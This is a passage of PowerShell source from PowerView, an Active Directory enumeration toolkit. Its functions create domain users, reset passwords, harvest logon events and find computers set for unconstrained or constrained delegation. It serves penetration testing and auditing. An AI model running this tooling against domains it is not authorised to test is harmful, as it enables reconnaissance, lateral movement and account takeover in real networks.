$User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
}
else {
$User = Convert-LDAPProperty -Properties $_.Properties
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
}
$User
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainUser] Error disposing of the Results
object: $_"
}
}
$UserSearcher.dispose()
}
}
}

function New-DomainUser {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChang
ingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Mandatory = $True)]
[ValidateLength(0, 256)]
[String]
$SamAccountName,

[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,

[ValidateNotNullOrEmpty()]
[String]
$Name,

[ValidateNotNullOrEmpty()]
[String]
$DisplayName,

[ValidateNotNullOrEmpty()]
[String]
$Description,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

$ContextArguments = @{
'Identity' = $SamAccountName
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] =
$Credential }
$Context = Get-PrincipalContext @ContextArguments

if ($Context) {
$User = New-Object -TypeName
System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList
($Context.Context)

$User.SamAccountName = $Context.Identity
$TempCred = New-Object System.Management.Automation.PSCredential('a',
$AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False

if ($PSBoundParameters['Name']) {
$User.Name = $Name
}
else {
$User.Name = $Context.Identity
}
if ($PSBoundParameters['DisplayName']) {
$User.DisplayName = $DisplayName
}
else {
$User.DisplayName = $Context.Identity
}

if ($PSBoundParameters['Description']) {
$User.Description = $Description
}

Write-Verbose "[New-DomainUser] Attempting to create user


'$SamAccountName'"
try {
$Null = $User.Save()
Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully
created"
$User
}
catch {
Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' :
$_"
}
}
}

function Set-DomainUserPassword {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChang
ingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('UserName', 'UserIdentity', 'User')]
[String]
$Identity,

[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

$ContextArguments = @{ 'Identity' = $Identity }


if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] =
$Credential }
$Context = Get-PrincipalContext @ContextArguments

if ($Context) {
$User =
[System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context
.Context, $Identity)

if ($User) {
Write-Verbose "[Set-DomainUserPassword] Attempting to set the password
for user '$Identity'"
try {
$TempCred = New-Object
System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)

$Null = $User.Save()
Write-Verbose "[Set-DomainUserPassword] Password for user
'$Identity' successfully reset"
}
catch {
Write-Warning "[Set-DomainUserPassword] Error setting password for
user '$Identity' : $_"
}
}
else {
Write-Warning "[Set-DomainUserPassword] Unable to find user
'$Identity'"
}
}
}

function Get-DomainUserEvent {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogonEvent')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,

[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),

[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,

[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {

$XPathFilter = @"
<QueryList>
<Query Id="0" Path="Security">

<!-- Logon events -->


<Select Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and (Level=4 or Level=0) and (EventID=4624)
and TimeCreated[
@SystemTime&gt;='$
($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime&lt;='$
($EndTime.ToUniversalTime().ToString('s'))'
]
]
]
and
*[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]
</Select>

<!-- Logon with explicit credential events -->


<Select Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and (Level=4 or Level=0) and (EventID=4648)
and TimeCreated[
@SystemTime&gt;='$
($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime&lt;='$
($EndTime.ToUniversalTime().ToString('s'))'
]
]
]
</Select>

<Suppress Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and
(Level=4 or Level=0) and (EventID=4624 or EventID=4625 or
EventID=4634)
]
]
and
*[
EventData[
(
(Data[@Name='LogonType']='5' or
Data[@Name='LogonType']='0')
or
Data[@Name='TargetUserName']='ANONYMOUS LOGON'
or
Data[@Name='TargetUserSID']='S-1-5-18'
)
]
]
</Suppress>
</Query>
</QueryList>
"@
$EventArguments = @{
'FilterXPath' = $XPathFilter
'LogName' = 'Security'
'MaxEvents' = $MaxEvents
}
if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] =
$Credential }
}

PROCESS {
ForEach ($Computer in $ComputerName) {

$EventArguments['ComputerName'] = $Computer

Get-WinEvent @EventArguments| ForEach-Object {


$Event = $_
$Properties = $Event.Properties
Switch ($Event.Id) {
4624 {

if(-not $Properties[5].Value.EndsWith('$')) {
$Output = New-Object PSObject -Property @{
ComputerName = $Computer
TimeCreated = $Event.TimeCreated
EventId = $Event.Id
SubjectUserSid =
$Properties[0].Value.ToString()
SubjectUserName = $Properties[1].Value
SubjectDomainName = $Properties[2].Value
SubjectLogonId = $Properties[3].Value
TargetUserSid =
$Properties[4].Value.ToString()
TargetUserName = $Properties[5].Value
TargetDomainName = $Properties[6].Value
TargetLogonId = $Properties[7].Value
LogonType = $Properties[8].Value
LogonProcessName = $Properties[9].Value
AuthenticationPackageName = $Properties[10].Value
WorkstationName = $Properties[11].Value
LogonGuid = $Properties[12].Value
TransmittedServices = $Properties[13].Value
LmPackageName = $Properties[14].Value
KeyLength = $Properties[15].Value
ProcessId = $Properties[16].Value
ProcessName = $Properties[17].Value
IpAddress = $Properties[18].Value
IpPort = $Properties[19].Value
ImpersonationLevel = $Properties[20].Value
RestrictedAdminMode = $Properties[21].Value
TargetOutboundUserName = $Properties[22].Value
TargetOutboundDomainName = $Properties[23].Value
VirtualAccount = $Properties[24].Value
TargetLinkedLogonId = $Properties[25].Value
ElevatedToken = $Properties[26].Value
}
$Output.PSObject.TypeNames.Insert(0,
'PowerView.LogonEvent')
$Output
}
}

4648 {

if((-not $Properties[5].Value.EndsWith('$')) -and


($Properties[11].Value -match 'taskhost\.exe')) {
$Output = New-Object PSObject -Property @{
ComputerName = $Computer
TimeCreated = $Event.TimeCreated
EventId = $Event.Id
SubjectUserSid = $Properties[0].Value.ToString()
SubjectUserName = $Properties[1].Value
SubjectDomainName = $Properties[2].Value
SubjectLogonId = $Properties[3].Value
LogonGuid = $Properties[4].Value.ToString()
TargetUserName = $Properties[5].Value
TargetDomainName = $Properties[6].Value
TargetLogonGuid = $Properties[7].Value
TargetServerName = $Properties[8].Value
TargetInfo = $Properties[9].Value
ProcessId = $Properties[10].Value
ProcessName = $Properties[11].Value
IpAddress = $Properties[12].Value
IpPort = $Properties[13].Value
}
$Output.PSObject.TypeNames.Insert(0,
'PowerView.ExplicitCredentialLogonEvent')
$Output
}
}
default {
Write-Warning "No handler exists for event ID: $
($Event.Id)"
}
}
}
}
}
}

function Get-DomainGUIDMap {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param (
[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

$GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}

$ForestArguments = @{}
if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] =
$Credential }
try {
$SchemaPath = (Get-Forest @ForestArguments).schema.name
}
catch {
throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-
Forest'
}
if (-not $SchemaPath) {
throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-
Forest'
}

$SearcherArguments = @{
'SearchBase' = $SchemaPath
'LDAPFilter' = '(schemaIDGUID=*)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
$SchemaSearcher = Get-DomainSearcher @SearcherArguments

if ($SchemaSearcher) {
try {
$Results = $SchemaSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] =
$_.properties.name[0]
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGUIDMap] Error disposing of the
Results object: $_"
}
}
$SchemaSearcher.dispose()
}
catch {
Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
}
}

$SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-
Rights')
$SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)'
$RightsSearcher = Get-DomainSearcher @SearcherArguments

if ($RightsSearcher) {
try {
$Results = $RightsSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$GUIDs[$_.properties.rightsguid[0].toString()] =
$_.properties.name[0]
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGUIDMap] Error disposing of the
Results object: $_"
}
}
$RightsSearcher.dispose()
}
catch {
Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
}
}

$GUIDs
}

function Get-DomainComputer {

[OutputType('PowerView.Computer')]
[OutputType('PowerView.Computer.Raw')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('SamAccountName', 'Name', 'DNSHostName')]
[String[]]
$Identity,

[Switch]
$Unconstrained,

[Switch]
$TrustedToAuth,

[Switch]
$Printers,

[ValidateNotNullOrEmpty()]
[Alias('ServicePrincipalName')]
[String]
$SPN,

[ValidateNotNullOrEmpty()]
[String]
$OperatingSystem,

[ValidateNotNullOrEmpty()]
[String]
$ServicePack,

[ValidateNotNullOrEmpty()]
[String]
$SiteName,

[Switch]
$Ping,
[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


[String]
$SecurityMasks,

[Switch]
$Tombstone,

[Alias('ReturnOne')]
[Switch]
$FindOne,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$Raw
)

DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)

$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}


New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type
([array])
}

BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] =
$Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks'])
{ $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
$CompSearcher = Get-DomainSearcher @SearcherArguments
}

PROCESS {

if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {


New-DynamicParameter -CreateVariables -BoundParameters
$PSBoundParameters
}

if ($CompSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not
$PSBoundParameters['SearchBase'])) {

$IdentityDomain =
$IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -
replace ',','.'
Write-Verbose "[Get-DomainComputer] Extracted domain
'$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$CompSearcher = Get-DomainSearcher @SearcherArguments
if (-not $CompSearcher) {
Write-Warning "[Get-DomainComputer] Unable to retrieve
domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(name=$IdentityInstance)
(dnshostname=$IdentityInstance))"
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}
[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() |
ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
else {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}

if ($PSBoundParameters['Unconstrained']) {
Write-Verbose '[Get-DomainComputer] Searching for computers with
for unconstrained delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainComputer] Searching for computers that
are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['Printers']) {
Write-Verbose '[Get-DomainComputer] Searching for printers'
$Filter += '(objectCategory=printQueue)'
}
if ($PSBoundParameters['SPN']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with
SPN: $SPN"
$Filter += "(servicePrincipalName=$SPN)"
}
if ($PSBoundParameters['OperatingSystem']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with
operating system: $OperatingSystem"
$Filter += "(operatingsystem=$OperatingSystem)"
}
if ($PSBoundParameters['ServicePack']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with
service pack: $ServicePack"
$Filter += "(operatingsystemservicepack=$ServicePack)"
}
if ($PSBoundParameters['SiteName']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with
site name: $SiteName"
$Filter += "(serverreferencebl=$SiteName)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainComputer] Using additional LDAP filter:
$LDAPFilter"
$Filter += "$LDAPFilter"
}

$UACFilter | Where-Object {$_} | ForEach-Object {


if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!
(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter +=
"(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}

$CompSearcher.filter = "(&(samAccountType=805306369)$Filter)"
Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $
($CompSearcher.filter)"

if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne()


}
else { $Results = $CompSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Up = $True
if ($PSBoundParameters['Ping']) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName
$_.properties.dnshostname
}
if ($Up) {
if ($PSBoundParameters['Raw']) {

$Computer = $_
$Computer.PSObject.TypeNames.Insert(0,
'PowerView.Computer.Raw')
}
else {
$Computer = Convert-LDAPProperty -Properties $_.Properties
$Computer.PSObject.TypeNames.Insert(0,
'PowerView.Computer')
}
$Computer
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainComputer] Error disposing of the
Results object: $_"
}
}
$CompSearcher.dispose()
}
}
}
function Get-DomainObject {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssign
ments', '')]
[OutputType('PowerView.ADObject')]
[OutputType('PowerView.ADObject.Raw')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name',
'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


[String]
$SecurityMasks,

[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$Raw
)

DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)

$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}

New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type


([array])
}

BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] =
$Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks'])
{ $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}

PROCESS {

if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {


New-DynamicParameter -CreateVariables -BoundParameters
$PSBoundParameters
}
if ($ObjectSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not
$PSBoundParameters['SearchBase'])) {

$IdentityDomain =
$IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -
replace ',','.'
Write-Verbose "[Get-DomainObject] Extracted domain
'$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
if (-not $ObjectSearcher) {
Write-Warning "[Get-DomainObject] Unable to retrieve
domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}
[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() |
ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28',
'(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$ObjectDomain = $ConvertedIdentityInstance.SubString(0,
$ConvertedIdentityInstance.IndexOf('/'))
$ObjectName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$ObjectName)"
$SearcherArguments['Domain'] = $ObjectDomain
Write-Verbose "[Get-DomainObject] Extracted domain
'$ObjectDomain' from '$IdentityInstance'"
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)
(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)
(name=$IdentityInstance)(displayname=$IdentityInstance))"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}

if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainObject] Using additional LDAP filter:
$LDAPFilter"
$Filter += "$LDAPFilter"
}
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!
(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter +=
"(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}

if ($Filter -and $Filter -ne '') {


$ObjectSearcher.filter = "(&$Filter)"
}
Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $
($ObjectSearcher.filter)"

if ($PSBoundParameters['FindOne']) { $Results =
$ObjectSearcher.FindOne() }
else { $Results = $ObjectSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {

$Object = $_
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
}
else {
$Object = Convert-LDAPProperty -Properties $_.Properties
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
}
$Object
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainObject] Error disposing of the
Results object: $_"
}
}
$ObjectSearcher.dispose()
}
}
}

function Get-DomainObjectAttributeHistory {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssign
ments', '')]
[OutputType('PowerView.ADObjectAttributeHistory')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name',
'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$Raw
)

BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replattributemetadata','distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] =
$LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] =
$FindOne }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }

if ($PSBoundParameters['Properties']) {
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
}
else {
$PropertyFilter = ''
}
}

PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] =
$Identity }

Get-DomainObject @SearcherArguments | ForEach-Object {


$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty
'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue
if ($TempObject) {
if ($TempObject.pszAttributeName -Match $PropertyFilter) {
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
$Output | Add-Member NoteProperty 'AttributeName'
$TempObject.pszAttributeName
$Output | Add-Member NoteProperty 'LastOriginatingChange'
$TempObject.ftimeLastOriginatingChange
$Output | Add-Member NoteProperty 'Version'
$TempObject.dwVersion
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN'
$TempObject.pszLastOriginatingDsaDN
$Output.PSObject.TypeNames.Insert(0,
'PowerView.ADObjectAttributeHistory')
$Output
}
}
else {
Write-Verbose "[Get-DomainObjectAttributeHistory] Error
retrieving 'msds-replattributemetadata' for '$ObjectDN'"
}
}
}
}
}

function Get-DomainObjectLinkedAttributeHistory {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssign
ments', '')]
[OutputType('PowerView.ADObjectLinkedAttributeHistory')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name',
'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$Raw
)

BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replvaluemetadata','distinguishedname'
